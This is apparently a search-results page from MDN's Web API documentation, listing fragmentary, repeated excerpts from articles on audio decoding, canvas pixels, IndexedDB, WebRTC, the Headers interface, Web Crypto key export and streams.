newly-created key pair. methods authenticatorattestationresponse.gettransports()secure context returns an array of strings describing which transport methods (e.g. usb, nfc) are believed to be supported with the authenticator. the array may be empty if the information is not available. examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : ...
...atorattestationresponse.gettransports()secure context returns an array of strings describing which transport methods (e.g. usb, nfc) are believed to be supported with the authenticator. the array may be empty if the information is not available. ...
...And 2 more matches
BaseAudioContext.decodeAudioData() - Web APIs
e decoded audiobuffer is resampled to the audiocontext's sampling rate, then passed to a callback or promise. this is the preferred method of creating an audio source for web audio api from an audio track. this method only works on complete file data, not fragments of audio file data. syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback);
newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader. successcallback a callback function to be invoked when the decoding successfully finishes. the single argument to this callback is an ...
...nt to put the decoded data into an audiobuffersourcenode, from which it can be played and manipulated how you want. errorcallback an optional error callback, to be invoked if an error occurs when the audio data is being decoded. return value void, or a promise object that fulfills with the decodeddata. example in this section we will first cover the older callback-based system and then the
newer promise-based syntax. older callback syntax in this example, the getdata() function uses xhr to load an audio track, setting the responsetype of the request to arraybuffer so that it returns an array buffer as its response that we then store in the audiodata variable . we then pass this buffer into a decodeaudiodata() function; the success callback takes the successfully decoded pcm data, put...
...ocontext.createbuffersource(), connects the source to the audiocontext.destination and sets it to loop. the buttons in the example simply run getdata() to load the track and start it playing, and stop it playing, respectively. when the stop() method is called on the source, the source is cleared out. note: you can run the example live (or view the source.) // define variables var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var source; var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); // use xhr to load an audio track, and // decodeaudiodata to decode it and stick it in a buffer. // then we put the buffer into the source function getd...
...And 2 more matches
Pixel manipulation with canvas - Web APIs
h * 4) + x * 4; return [red, red + 1, red + 2, red + 3]; }; const colorindices = getcolorindicesforcoord(xcoord, ycoord, canvaswidth); const [redindex, greenindex, blueindex, alphaindex] = colorindices; you may also access the size of the pixel array in bytes by reading the uint8clampedarray.length attribute: var numbytes = imagedata.data.length; creating an imagedata object to create a
new, blank imagedata object, you should use the createimagedata() method. there are two versions of the createimagedata() method: var myimagedata = ctx.createimagedata(width, height); this creates a
new imagedata object with the specified dimensions. all pixels are preset to transparent black (all zeroes i.e rgba(0,0,0,0)). you can also create a
new imagedata object with the same dimensions as the...
...e createimagedata() method. there are two versions of the createimagedata() method: var myimagedata = ctx.createimagedata(width, height); this creates a
new imagedata object with the specified dimensions. all pixels are preset to transparent black (all zeroes i.e rgba(0,0,0,0)). you can also create a
new imagedata object with the same dimensions as the object specified by anotherimagedata. the
new object's pixels are all preset to transparent black. this does not copy the image data! var myimagedata = ctx.createimagedata(anotherimagedata); getting the pixel data for a context to obtain an imagedata object containing a copy of the pixel data for a canvas context, you can use the getimagedata() method: var myimagedata = ctx.getimagedata(left, top, width, height); this method returns an ...
...tion of the mouse with layerx and layery, then we look up the pixel data on that position in the pixel array that getimagedata() provides us. finally, we use the array data to set a background color and a text in the <div> to display the color. ...
...And 2 more matches
Console.table() - Web APIs
0 rows (first row is the labeled index). note: this feature is available in web workers. collections of primitive types the data argument may be an array or an object. ...
...ray, or properties in the object, are themselves arrays or objects, then their elements or properties are enumerated in the row, one per column: // an array of arrays var people = [["john", "smith"], ["jane", "doe"], ["emily", "jones"]] console.table(people); // an array of objects function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john =
new person("john", "smith"); var jane =
new person("jane", "doe"); var emily =
new person("emily", "jones"); console.table([john, jane, emily]); note that if the array contains objects, then the columns are labeled with the property name. // an object whose properties are objects var family = {}; family.mother =
new person("jane", "smith"); family.father =
new person("john", "smith"); family.d...
...ohn", "smith"); var jane =
new person("jane", "doe"); var emily =
new person("emily", "jones"); console.table([john, jane, emily]); note that if the array contains objects, then the columns are labeled with the property name. // an object whose properties are objects var family = {}; family.mother =
new person("jane", "smith"); family.father =
new person("john", "smith"); family.daughter =
new person("emily", "smith"); console.table(family); restricting the columns displayed by default, console.table() lists all elements in each row. ...
...And 2 more matches
CustomElementRegistry.define() - Web APIs
options optional object that controls how the element is defined. ...
... options optional object that controls how the element is defined. one option is currently supported: extends: string specifying the name of a built-in element to extend. used to create a customized built-in element. return value void. ...
... options optional object that controls how the element is defined. ...
...And 2 more matches
DOMMatrixReadOnly.scale() - Web APIs
syntax the scale() method is specified with either one or six values. dommatrix.scale(scalex[, scaley][, scalez][, originx][, originy][, originz]) parameters scalex a multiplier for the scale value on the x-axis. scaley optional a multiplier for the scale value on the y-axis. if not supplied, this defaults to the value of scalex. scalez optional a multiplier for the scale value on the z-axis. if this value is anything other than 1, the resulting matrix will be 3d. originx optional an x-coordinate for the origin of the transformation. ...
...origin is supplied, this defaults to 0. originy optional a y-coordinate for the origin of the transformation. if no origin is supplied, this defaults to 0. originz optional a z-coordinate for the origin of the transformation. if no origin is supplied, this defaults to 0. if this value is anything other than 0, the resulting matrix will be 3d. return value returns a dommatrix containing a
new matrix being the result of the matrix x and y dimensions being scaled by the given factor, centered on the origin given. the original matrix is not modified. if a scale is applied about the z-axis, the resulting matrix will be a 4x4 3d matrix. note: at time of writing, firefox still supports an older version of the specification that accepts either one or three values. dommatrix.scale(scale[,...
... red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a
new matrix with a single parameter. we test if the browser supports a six parameter scale() method by creating a
new matrix using three parameters and observing it's is2d property — if this is false then the third parameter has been accepted by the browser as a scalez parameter, making this a 3d matrix. we then create a
new matrix scaled about a given origin, using either three or six parameters...
...And 2 more matches
Document.body - Web APIs
the document.body property represents the <body> or <frameset> node of the current document, or null if no such element exists. ...
... the document.body property represents the <body> or <frameset> node of the current document, or null if no such element exists. ...
... the document.body property represents the <body> or <frameset> node of the current document, or null if no such element exists. ...
...And 2 more matches
Introduction to the DOM - Web APIs
le object that implements the special htmltableelement dom interface for accessing html tables, and so forth). this documentation provides an object-by-object reference to the dom. the modern dom is built using multiple apis that work together. the core dom defines the objects that fundamentally describe a document and the objects within it. this is expanded upon as needed by other apis that add
new features and capabilities to the dom. for example, the html dom api adds support for representing html documents to the core dom. dom and javascript the short example above, like nearly all of the examples in this reference, is javascript. that is to say, it's written in javascript, but it uses the dom to access the document and its elements. the dom is not a programming language, but without i...
...y begin using the api for the document or window elements to manipulate the document itself or to get at the children of that document, which are the various elements in the web page. ...
...rt message by using the alert() function from the window object, or it may use more sophisticated dom methods to actually create
new content, as in the longer example below. this following javascript will display an alert when the document is loaded (and when the whole dom is available for use): <body onload="window.alert('welcome to my home page!');"> another example. ...
...And 2 more matches
Example - Web APIs
ts in the document, and the first is number 0: var header = document.getelementsbytagname("h1").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document". ...
... var header = document.getelementsbytagname("h1").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document". ...
...of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document". ...
...And 2 more matches
Element.innerHTML - Web APIs
you look at the html markup of the element's content nodes. note: the returned html or xml fragment is generated based on the current contents of the element, so the markup and formatting of the returned fragment is likely not to match the original page markup. replacing the contents of an element setting the value of innerhtml lets you easily replace the existing contents of an element with
new content. for example, you can erase the entire contents of a document by clearing the contents of the document's body attribute: document.body.innerhtml = ""; this example fetches the document's current html markup and replaces the "<" characters with the html entity "<", thereby essentially converting the html into raw text. this is then wrapped in a <pre> element. then the value of innerh...
... you can erase the entire contents of a document by clearing the contents of the document's body attribute: document.body.innerhtml = ""; this example fetches the document's current html markup and replaces the "<" characters with the html entity "<", thereby essentially converting the html into raw text. this is then wrapped in a <pre> element. then the value of innerhtml is changed to this
new string. as a result, the document contents are replaced with a display of the page's entire source code. document.documentelement.innerhtml = "<pre>" + document.documentelement.innerhtml.replace(/</g,"<") + "</pre>"; operational details what exactly happens when you set value of innerhtml? doing so causes the user agent to follow these steps: the specified value is p...
... security considerations it is not uncommon to see innerhtml used to ...
...And 2 more matches
EventSource - Web APIs
fired. unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser). that makes them an excellent choice when there's no need to send data from the client to the server in message form. for example, eventsource is a useful approach for handling things like social media status updates,
news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6). the issue has been marked as "won't fix" in chrome and firefox. this limit is per b...
...n chrome and firefox. this limit is per browser + domain, so that means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com. (from stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100). constructor eventsource() creates a
new eventsource to handle receiving server-sent events from a specified url, optionally in credentials mode. properties this interface also inherits properties from its parent, eventtarget. eventsource.readystate read only a number representing the state of the connection. possible values are connecting (0), open (1), or closed (2). eventsource.url read only a domstring representing the ur...
... event source. open fired when a connection to an event source has opened. additionally, the event source itself may send messages with an event field, which will create ad-hoc events keyed to that value. examples in this basic example, an eventsource is created to receive unnamed events from the server; a page with the name sse.php is responsible for generating the events. ...
...And 2 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
the container is always a list element in this example, as you'll see shortly. once the current item is in the list, the item's isdirectory property is checked. if the item is a directory, we need to recurse into that directory. the first step is to cr...
...ner. the container is always a list element in this example, as you'll see shortly. once the current item is in the list, the item's isdirectory property is checked. if the item is a directory, we need to recurse into that directory. the first step is to create a filesystemdirectoryreader to handle fetching the directory's contents. that's done by calling the item's createreader() method. then a
new <ul> is created and appended to the parent list; this will contain the directory's contents in the next level down in the list's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which ar...
...t; this will contain the directory's contents in the next level down in the list's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a
new level of the list's hierarchy is added below, and so forth. then come the event handlers. first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop ev...
...And 2 more matches
FileSystemFileEntry - Web APIs
the filesystemfileentry interface of the file system api represents a file in a file system. it offers properties describing the file's attributes, as well as the file() method, which creates a file object that can be used to read the file. properties inherits the properties of its parent interface, filesystementry, but has no properties unique to this interface. methods file() creates a
new file object which can be used to read the file. obsolete methods createwriter() creates a
new filewriter object which allows writing to the file represented by the file system entry. basic concepts to write content to file, create a filewriter object by calling createwriter(). to read a file, obtain a file object representing its contents by calling file(). example the following code...
....getfile('log.txt', {create: true}, function(fileentry) { // create a filewriter object for our filesystemfileentry (log.txt). ...
...entry) { // create a filewriter object for our filesystemfileentry (log.txt). fileentry.createwriter(function(filewriter) { filewriter.onwriteend = function(e) { console.log('write completed.'); }; filewriter.onerror = function(e) { console.log('write failed: ' + e.tostring()); }; // create a
new blob and write it to log.txt. var bb =
new blobbuilder(); bb.append('meow'); filewriter.write(bb.getblob('text/plain')); }, errorhandler); }, errorhandler); } window.requestfilesystem(window.temporary, 1024*1024, oninitfs, errorhandler); specifications specification status comment file and directory entries apithe definition of 'filesystemfileentry' in that specification. draft dra...
...And 2 more matches
Using the Frame Timing API - Web APIs
cation first creates a performanceobserver object with a specific frame observer callback. in the following example, two observers for the "frame" performance entry type are created and the first observer constructor uses inline function syntax. ...
... =
new performanceobserver(function(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #1: [" + i + "] = " + perfentries[i].name); } }); // only observe 'frame' events observe_frame.observe({entrytypes: ['frame']}); } function init () { create_frame_observer(); var obs =
new performanceobserver(frame_observer_2); obs.observe({entrytypes: ['frame']}); } function frame_observer_2(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #2: [" + i + "] = " + perfentries[i].name); } } <body onload="init(event)"> when the browser adds a
new "frame" entry to the perfor...
...s a
new "frame" entry to the performance timeline, both of the observer callbacks will be invoked. registering for notifications after an observer is created, the next step is to use the performanceobserver.observe() method to specify the set of performance events to observe. in the following example, the observer only registers for "frame" performance entry notifications. var observe_frame =
new performanceobserver(function(list) { // process the frame ... }); // only observe 'frame' events observe_frame.observe({entrytypes: ['frame']}); in the following example, the observer registers to be notified when several different performance entry types are added to the performance timeline. ...
...And 2 more matches
HTMLMediaElement.srcObject - Web APIs
ediasource, blob, or file object (though see the compatibility table for what is actually supported). usage notes older versions of the media source specification required using createobjecturl() to create an object url then setting src to that url. now you can just set srcobject to the mediastream directly. ...
...an object url then setting src to that url. now you can just set srcobject to the mediastream directly. examples basic example in this example, a mediastream from a camera is assigned to a
newly-created <video> element. const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); video.srcobject = mediastream; in this example, a
new mediasource is assigned to a
newly-created <video> element. const mediasource =
new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fallback to the src property the examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported. first, a mediastream from a camera i...
...assigned to a
newly-created <video> element. const mediasource =
new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fallback to the src property the examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported. first, a mediastream from a camera is assigned to a
newly-created <video> element, with fallback for older browsers. const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); if ('srcobject' in video) { video.srcobject = mediastream; } else { // avoid using this in
new browsers, as it is going away. ...
...And 2 more matches
HTMLTableElement.insertRow() - Web APIs
the htmltableelement.insertrow() method inserts a
new row (<tr>) in a given <table>, and returns a reference to the
new row. if a table has multiple <tbody> elements, by default, the
new row is inserted into the last <tbody>. to insert the row into a specific <tbody>: let specific_tbody = document.getelementbyid(tbody_id); let row = specific_tbody.insertrow(index) note: insertrow() inserts the row directly into the table. the row does not need to be appended separately as would be the case if document.createelement() had been used to create the
new <tr> element. syntax var
newrow = htmltableelement.insertrow(index); htmltableelement is a reference to an html <table> element. parameters index optional the row index of the
new row. if index is -1 or equal to the number of rows, ...
...(to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.appendchild(). ...
... htmltableelement is a reference to an html <table> element. parameters index optional the row index of the
new row. if index is -1 or equal to the number of rows, the row is appended as the last row. if index is greater than the number of rows, an indexsizeerror exception will result. if index is omitted it defaults to -1. return value
newrow is an htmltablerowelement that references the
new row. example this example uses insertrow(-1) to append a
new row to a table. we then use htmltablerowelement.insertcell() to insert a
new cell in the
new row. (to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.appendchild(). html <table id="my-table"> <tr><td>row 1</td></tr> <tr><td>row 2</td></tr...
...And 2 more matches
HTMLTextAreaElement - Web APIs
on htmltextareaelement in dom level 2 html and earlier specifications. methods blur() removes focus from the control; keystrokes will subsequently go nowhere. focus() gives focus to the control; keystrokes will subsequently go to this element. select() selects the contents of the control. setrangetext() replaces a range of text in the element with
new text. setselectionrange() selects a range of text in the element (but does not focus it). checkvalidity() returns false if the element is a candidate for constraint validation, and it does not satisfy its constraints. in this case, it also fires a cancelable invalid event at the control. it returns true if the control is not a candidate for constraint validation, or if it ...
...etc. ]</p> <p><textarea name="...
...etc. ]</p> <p><textarea name="mytxtarea" rows="10" cols="50">lorem ipsum dolor sit...
...And 2 more matches
Headers.append() - Web APIs
for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.append(name, value); parameters name the name of the http header you want to add to the headers object. ...
... for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.append(name, value); parameters name the name of the http header you want to add to the headers object. ...
... for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.append(name, value); parameters name the name of the http header you want to add to the headers object. ...
...And 2 more matches
Headers.set() - Web APIs
the set() method of the headers interface sets a
new value for an existing header inside a headers object, or adds the header if it does not already exist. the difference between set() and headers.append is that if the specified header already exists and accepts multiple values, set() overwrites the existing value with the
new one, whereas headers.append appends the
new value to the end of the set of values. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.set(name, value); parameters name the name of the http header you want to set to a
new value. ...
...f the set of values. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.set(name, value); parameters name the name of the http header you want to set to a
new value. if the given name is not the name of an http header, this method throws a typeerror. value the
new value you want to set. returns void. ...
...clude the forbidden header names and forbidden response header names. syntax myheaders.set(name, value); parameters name the name of the http header you want to set to a
new value. if the given name is not the name of an http header, this method throws a typeerror. value the
new value you want to set. returns void. example creating an empty headers object is simple: var myheaders =
new headers(); // currently empty you could add a header to this using headers.append, then set a
new value for this header using set(): myheaders.append('content-type', 'image/jpeg'); myheaders.set('content-type', 'text/html'); if the specified header does not already exist, set() will create it and set its value to the specified value. if the specified header does already exist and does accept ...
...And 2 more matches
IDBObjectStore.put() - Web APIs
if the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in which this object store is opened. ...
...if the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in which this object store is opened. ...
... the transaction in which this object store is opened. the put method is an update or insert method. see the idbobjectstore.add method for an insert only method. bear in mind that if you have a idbcursor to the record you want to update, updating it with idbcursor.update() is preferable to using idbobjectstore.put(). doing so makes it clear that an existing record will be updated, instead of a
new record being inserted. note: this feature is available in web workers. syntax let request = objectstore.put(item); let request = objectstore.put(item, key); parameters item the item you wish to update (or insert). key optional the primary key of the record you want to update (e.g. from idbcursor.primarykey). this is only needed for object stores that have an autoincrement primary key, t...
...And 2 more matches
IDBTransaction - Web APIs
s method fires an error event. idbtransaction.objectstore() returns an idbobjectstore object representing an object store that is part of the scope of this transaction. idbtransaction.commit() for an active transaction, commits the transaction. note that this doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no
new requests have been made. commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. abort fired when an indexeddb transaction is aborted. also available via the onabort property. complete fire...
... // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable. ...
...request = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable. ...
...And 2 more matches
Checking when a deadline is due - Web APIs
heck to see if the form fields have all been filled in. if not, we drop a message into our developer notifications pane (see the bottom left of the app ui) to tell the user what is going on, and exit out of the function. ...
...nsaction.oncomplete = function(event) { note.innerhtml += '<li>transaction opened for task addition.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our
newitem object to the object store var request = objectstore.add(
newitem[0]); in this section we create an object called
newitem that stores the data in the format required to insert it into the database. the next few lines open the database transaction and provide messages to notify the user if this was successful or failed.then an objectstore is created into which the
new item is added. the n...
...the
new item is added. the notified property of the data object indicates that the to-do list item's deadline has not yet come up and been notified - more on this later! note: the db variable stores a reference to the indexeddb database instance; we can then use various properties of this variable to manipulate the data. request.onsuccess = function(event) { note.innerhtml += '<li>
new item added to database.</li>'; title.value = ''; hours.value = null; minutes.value = null; day.value = 01; month.value = 'january'; year.value = 2020; }; } this next section creates a log message to say the
new item addition is successful, and resets the form so it's ready for the next task to be entered. // update the display of data to show the ne...
...And 2 more matches
KeyframeEffect.KeyframeEffect() - Web APIs
its parameters are: element the dom element to be animated, or null. keyframeset an keyframe object or null. ...
...its parameters are: element the dom element to be animated, or null. keyframeset an keyframe object or null. ...
...its parameters are: element the dom element to be animated, or null. keyframeset an keyframe object or null. ...
...And 2 more matches
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
property must contain a reference to the mediastreamtrack from which the mediastreamtrackaudiosourcenode being created using the mediastreamtrackaudiosourcenode() constructor. ...
...diosourcenode() constructor. syntax mediastreamtrackaudiosourceoptions = { mediastreamtrack: audiosourcetrack; } mediastreamtrackaudiosourceoptions.mediastreamtrack = audiosourcetrack; value a mediastreamtrack from which the audio output of the
new mediastreamtrackaudiosourcenode will be taken. example this example uses getusermedia() to obtain access to the user's camera, then creates a
new mediastreamaudiosourcenode from the first audio track provided by the device. ...
...udiosourcetrack; } mediastreamtrackaudiosourceoptions.mediastreamtrack = audiosourcetrack; value a mediastreamtrack from which the audio output of the
new mediastreamtrackaudiosourcenode will be taken. example this example uses getusermedia() to obtain access to the user's camera, then creates a
new mediastreamaudiosourcenode from the first audio track provided by the device. ...
...And 2 more matches
Capabilities, constraints, and settings - Web APIs
returns the value of facingmode. example: constraint exerciser in this example, we create an exerciser which lets you experiment with media constraints by editing the source code describing the constraint sets for audio and video tracks. you can then apply those changes and see the result, including both what the stream looks like and what the actual media settings are set to after applying the
new constraints. the html and css for this example are pretty simple, and aren't shown here. you can look at the complete example by clicking here. html content <p>experiment with media constraints! edit the constraint sets for the video and audio tracks in the edit boxes on the left, then click the "apply constraints" button to try them out. the actual settings the browser selected and ...
... it calls navigator.mediadevices.getusermedia(), passing in the constraints objec...
...stream with the specified settings in place. otherwise, we follow these steps to apply the updated constraints to the already-active stream: buildconstraints() is called to construct updated mediatrackconstraints objects for the audio track (audioconstraints) and the video track (videoconstraints). mediastreamtrack.applyconstraints() is called on the video track (if there is one) to apply the
new videoconstraints. if this succeeds, the contents of the video track's current settings box are updated based on the result of calling its getsettings() method. once that's done, applyconstraints() is called on the audio track (if there is one) to apply the
new audio constraints. if this succeeds, the contents of the audio track's current settings box are updated based on the result of calling it...
...And 2 more matches
OfflineAudioContext.startRendering() - Web APIs
rface starts rendering the audio graph, taking into account the current connections and the current scheduled changes. the complete event (of type offlineaudiocompletionevent) is raised when the rendering is finished, containing the resulting audiobuffer in its renderedbuffer property. browsers currently support two versions of the startrendering() method — an older event-based version and a
newer promise-based version. the former will eventually be removed, but currently both mechanisms are provided for legacy reasons. syntax event-based version: offlineaudioctx.startrendering(); offlineaudioctx.oncomplete = function(e) { // e.renderedbuffer contains the output buffer } promise-based version: offlineaudioctx.startrendering().then(function(buffer) { // buffer contains the outpu...
...ut of the promise. at this point we create another audio context, create an audiobuffersourcenode inside it, and set its buffer to be equal to the promise audiobuffer. this is then played as part of a simple standard audio graph. ...
...create another audio context, create an audiobuffersourcenode inside it, and set its buffer to be equal to the promise audiobuffer. this is then played as part of a simple standard audio graph. ...
...And 2 more matches
PublicKeyCredential - Web APIs
ts of processing those extensions. publickeycredential.isuserverifyingplatformauthenticatoravailable()secure context a static method returning a promise which resolves to true if an authenticator bound to the platform is capable of verifying the user. with the current state of implementation, this method only resolves to true when windows hello is available on the system. ...
...ilable()secure context a static method returning a promise which resolves to true if an authenticator bound to the platform is capable of verifying the user. with the current state of implementation, this method only resolves to true when windows hello is available on the system. examples creating a
new instance of publickeycredential here, we use navigator.credentials.create() to generate a
new credential. ...
... with the current state of implementation, this method only resolves to true when windows hello is available on the system. examples creating a
new instance of publickeycredential here, we use navigator.credentials.create() to generate a
new credential. ...
...And 2 more matches
RTCPeerConnection.addStream() - Web APIs
cal source of audio or video. instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer. if the signalingstate is set to closed, an invalidstateerror is raised. ...
...e
new stream. syntax rtcpeerconnection.addstream(mediastream); parameters mediastream a mediastream object indicating the stream to add to the webrtc peer connection. return value none. example this simple example adds the audio and video stream coming from the user's camera to the connection. ...
...o stream coming from the user's camera to the connection. navigator.mediadevices.getusermedia({video:true, audio:true}, function(stream) { var pc =
new rtcpeerconnection(); pc.addstream(stream); }); migrating to addtrack() compatibility allowing, you should update your code to instead use the addtrack() method: navigator.getusermedia({video:true, audio:true}, function(stream) { var pc =
new rtcpeerconnection(); stream.gettracks().foreach(function(track) { pc.addtrack(track, stream); }); }); the
newer addtrack() api avoids confusion over whether later changes to the track-makeup of a stream affects a peer connection (they do not). the exception is in chrome, where addstream() does make the peer connection sensitive to later stream changes (though such changes do not fire th...
...And 2 more matches
RTCPeerConnection: icecandidate event - Web APIs
andidate to the remote peer over the signaling channel so the remote peer can add it to its set of remote candidates. bubbles no cancelable no interface rtcpeerconnectioniceevent event handler property rtcpeerconnection.onicecandidate description there are three reasons why the icecandidate event is fired on an rtcpeerconnection. sharing a
new candidate the majority of icecandidate events are fired to indicate that a
new candidate has been gathered. this candidate needs to be delivered to the remote peer over the signaling channel your code manages. rtcpeerconnection.onicecandidate = (event) => { if (event.candidate) { sendcandidatetoremotepeer(event.candidate) } else { /* there are no more candidates coming during this n...
... the end of a generation of candidates when an ice negotiation session runs out of candidates to propose for a given rtcicetransport, it has completed gathering for a generation of candidates. that this has occurred is indicated by an icecandidate event whose candidate string is empty (""). you should deliver this to the remote peer just like any standard candidate, as described under sharing a
new candidate above. this ensures that the remote peer is given the end-of-candidates notification as well. as you see in the code in the previous section, every candidate is sent to the other peer, including any that might have an empty candidate string. only candidates for which the event's candidate property is null are not forwarded across the signaling connection. the end-of-candidates indicati...
...why the code snippet above checks to see if event.candidate is null prior to sending the candidate along. ...
...And 2 more matches
Request - Web APIs
properties request.cache read only contains the cache mode of the request (e.g., default, reload, no-cache). request.context read only contains the context of the request (e.g., audio, image, iframe, etc.) request.credentials read only contains the credentials of the request (e.g., omit, same-origin, include). the default is same-origin. ...
...representation of the request body. body.json() returns a promise that resolves with a json representation of the request body. body.text() returns a promise that resolves with an usvstring (text) representation of the request body. note: the body functions can be run only once; subsequent calls will resolve with empty strings/arraybuffers. ...
...resolves with an usvstring (text) representation of the request body. note: the body functions can be run only once; subsequent calls will resolve with empty strings/arraybuffers. ...
...And 2 more matches
StorageEvent - Web APIs
ont-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring
newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed. the key attribute is null when the change is caused by the storage clear() method. read only.
newvalue domstring the
new value of the key. the
newvalue is null when the change has been invoked by storage clear() method...
...read only. storagearea storage represents the storage object that was affected. read only. url usvstring the url of the document whose key changed. read only. ...
... storage represents the storage object that was affected. read only. url usvstring the url of the document whose key changed. read only. methods initstorageevent() initializes the event in a manner analogous to the similarly-named initevent() method in the dom events interfaces. ...
...And 2 more matches
SubtleCrypto.exportKey() - Web APIs
: you can try the working examples out on github. raw export this example exports an aes key as an arraybuffer containing the bytes for the key. see the complete code on github. /* export the given key and write it into the "exported-key" space. */ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "raw", key ); const exportedkeybuffer =
new uint8array(exported); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = `[${exportedkeybuffer}]`; } /* generate an encrypt/decrypt secret key, then set up an event listener on the "export" button. */ window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256, }, true, ["encrypt", "decrypt"] ).then((key) => { const exportbu...
...exportcryptokey(key); }); }); pkcs #8 export this example exports an rsa private signing key as a pkcs #8 object. the exported key is then pem-encoded. see the complete code on github. /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.fromcharcode.apply(null,
new uint8array(buf)); } /* export the given key and write it into the "exported-key" space. */ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "pkcs8", key ); const exportedasstring = ab2str(exported); const exportedasbase64 = window.btoa(exportedasstring); const pemexported = `-----begin private key-----\n${exportedasbase64}\n-----end p...
...---`; const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = pemexported; } /* generate a sign/verify key pair, then set up an event listener on the "export" button. */ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent:
new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); subjectpublickeyinfo export this example exports an rsa public encryption key as a pem-encoded subjectpublickeyinfo object. see the complet...
...And 2 more matches
TransformStream - Web APIs
m passes through all chunks it receives as uint8array values. const transformcontent = { start() {}, // required. ...
...witch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else if (arraybuffer.isview(chunk)) controller.enqueue(
new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(chunk) && chunk.every(value => typeof value === 'number')) controller.enqueue(
